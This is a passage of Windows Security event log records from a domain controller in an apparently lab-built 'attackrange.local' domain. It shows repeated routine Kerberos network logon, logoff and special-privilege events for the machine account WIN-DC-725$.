EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248392
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB308C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248391
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB308C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63899

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248390
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB308C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248389
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB302A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248388
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB302A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63898

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248387
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB302A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248386
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2FCD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248385
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB2FCD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63897

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248384
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB2FCD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248407
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB32AA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248406
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB32AA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63904

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248405
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB32AA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248404
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB324C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248403
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB324C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63903

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248402
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB324C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248401
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB31E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248400
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB31E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63902

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248399
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB31E9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248398
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3166

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248397
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB3166
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63901

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:11 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248396
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB3166

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248419
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB343C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248418
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB343C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63908

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248417
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB343C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248416
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB33DF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248415
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB33DF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63907

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248414
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB33DF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248413
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB337D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:12 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248412
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB337D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
